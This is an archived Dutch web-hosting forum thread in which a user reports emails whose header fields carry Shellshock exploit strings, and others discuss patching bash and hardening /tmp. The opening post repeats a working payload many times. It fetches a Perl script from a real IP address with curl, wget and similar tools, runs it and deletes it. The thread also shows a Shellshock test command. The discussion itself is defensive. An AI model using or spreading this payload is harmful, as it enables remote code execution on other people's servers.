email ontvangen met () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt... [Archief]

timmy

25/10/14, 16:48

Ik heb een paar emails ontvangen met: from, subject, to, cc, messageId, etc met daarin :

To:
() { :;;};/bin/sh.-c.'/bin/sh.-c.'cd/tmp;curl.-sO.178.254.31.165/ex.txt;lwp-download.http://178.254.31.165/ex.txt;wget.178.254.31.165/ex.txt;fetch.178.254.31.165/ex.txt;perl.ex.txt;rm.-fr.ex.*'.&'.&;;;;;;;;
References:
() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Cc:
() { :;;};/bin/sh.-c.'cd/tmp;curl.-sO.178.254.31.165/ex.txt;lwp-download.http://178.254.31.165/ex.txt;wget.178.254.31.165/ex.txt;fetch.178.254.31.165/ex.txt;perl.ex.txt;rm.-fr.ex.*'.&;;;;;;;;
From:
() { :;;};/bin/sh.-c.'cd/tmp;curl.-sO.178.254.31.165/ex.txt;lwp-download.http://178.254.31.165/ex.txt;wget.178.254.31.165/ex.txt;fetch.178.254.31.165/ex.txt;perl.ex.txt;rm.-fr.ex.*'.&;;;;;;;;
Subject:
() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Date:
() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Message-ID:
() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Comments:
() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Keywords:
() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Resent-Date:
() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Resent-From:
() { :;;};/bin/sh.-c.'cd/tmp;curl.-sO.178.254.31.165/ex.txt;lwp-download.http://178.254.31.165/ex.txt;wget.178.254.31.165/ex.txt;fetch.178.254.31.165/ex.txt;perl.ex.txt;rm.-fr.ex.*'.&;;;;;;;;

volgens de mail.log

Oct 24 19:32:12 pie sm-mta[8940]: s9OHWALZ008940: from=<support@mata.com>, size=2364, class=0, nrcpts=1, msgid=<201410241732.s9OHWALZ008
940@lokaal.xx>, proto=SMTP, daemon=MTA, relay=u16850951.onlinehome-server.com [74.208.184.251]
Oct 24 19:32:12 pie sm-mta[8942]: s9OHWALZ008940: to=<root@localhost>, delay=00:00:00, xdelay=00:00:00, mailer=local, pri=32636, dsn=2.0
.0, stat=Sent

het is me duidelijk dat er een perl file "ex.txt" getracht download word naar /tmp en deze uit eindelijk weer word verwijderd.
iemand bekend met dit 'fenomeen'?

Het betreft een debian wheezy, sendmail systeem

4service

25/10/14, 17:33

Kwam dit tegen http://blog.cloudflare.com/inside-shellshock/
Google maar een keer op Shellshock exploit

Imtek

25/10/14, 17:40

Nog belangrijker, is je systeem up to date?

timmy

26/10/14, 12:38

De shellshock bug was al in september bekend. En heb ik direct gepatched.

opnieuw getest:
> env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
Bash Test

> sudo sudo apt-get update && sudo apt-get install --only-upgrade bash
bash is already the newest version.
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Ik refereer nog even aan de statement van de mail.log file, daar staat:
> .... mailer=local, pri=32636, dsn=2.0.0, stat=Sent

M.a.w. als ik de lul ben zijn jullie het ook ! :)

Bart L

26/10/14, 19:06

Tmp is beveiligd ?

Sent from my iPhone using webhostingtalk mobile app

Boskoop

26/10/14, 19:31

De shellshock bug was al in september bekend. En heb ik direct gepatched.

opnieuw getest:
> env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
Bash Test

> sudo sudo apt-get update && sudo apt-get install --only-upgrade bash
bash is already the newest version.
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Ik refereer nog even aan de statement van de mail.log file, daar staat:
> .... mailer=local, pri=32636, dsn=2.0.0, stat=Sent

M.a.w. als ik de lul ben zijn jullie het ook ! :)

Draai je die test als root of als user?

Ramon Fincken

26/10/14, 20:09

1x patch of 2x patch?

Boskoop

26/10/14, 21:21

De shellshock bug was al in september bekend. En heb ik direct gepatched.

opnieuw getest:
> env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
Bash Test

> sudo sudo apt-get update && sudo apt-get install --only-upgrade bash
bash is already the newest version.
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Ik refereer nog even aan de statement van de mail.log file, daar staat:
> .... mailer=local, pri=32636, dsn=2.0.0, stat=Sent

M.a.w. als ik de lul ben zijn jullie het ook ! :)

maar wacht even, je stuurt:
env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"

vervolgens is het antwoord: Bash Test

Als je vulnerable was geweest dan had je als antwoord gekregen:
Bash is vulnerable!

Dus je bent gewoon safe :?

timmy

27/10/14, 09:39

Tmp is beveiligd ?

Sent from my iPhone using webhostingtalk mobile app

hoe bedoel je? Gewoon de standaard dir. rechten.

- - - Updated - - -

Draai je die test als root of als user?

als user

timmy

27/10/14, 09:45

maar wacht even, je stuurt:
env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"

vervolgens is het antwoord: Bash Test

Als je vulnerable was geweest dan had je als antwoord gekregen:
Bash is vulnerable!

Dus je bent gewoon safe :?

je snapt het niet.
Dit gaat via de email. Dus dat zou er op kunnen wijzen dat als je een dergelijk email ontvangt
je systeem dus gehacked is.

In mijn geval niet zo probleem. Het systeem betreft een raspberry-pi en die staat in binnen hand bereik.
Tevens dient ie 'slechts' als persoonlijke email server.

Er draait geen apache, mysql e.d. op. (Het Staat er wel op maar is disabled).
Ik denk dat voor de middelde gebruiker op dit fora het probleem vele malen groter is/kan worden.

timmy

27/10/14, 09:47

1x patch of 2x patch?

Weet ik niet meer. Ik heb ook m'n mac en nog een server gepatched.

The-BosS

27/10/14, 15:53

hoe bedoel je? Gewoon de standaard dir. rechten.

Nee, eerder als noexec, nosuid, dan kan zo een exploit wel gedownload worden maar niet gestart worden.

ju5t

28/10/14, 07:18

Waarom is de conclusie meteen dat het systeem is gehacked?

Ze doen een poging, maar zolang jij geen rare processen ziet draaien is er volgens mij nog niets aan de hand. Of mis ik iets? En /tmp mounten als noexec gaat niet echt helpen als het commando om te starten perl ex.txt is. Het perl commando wordt gewoon gestart hoor.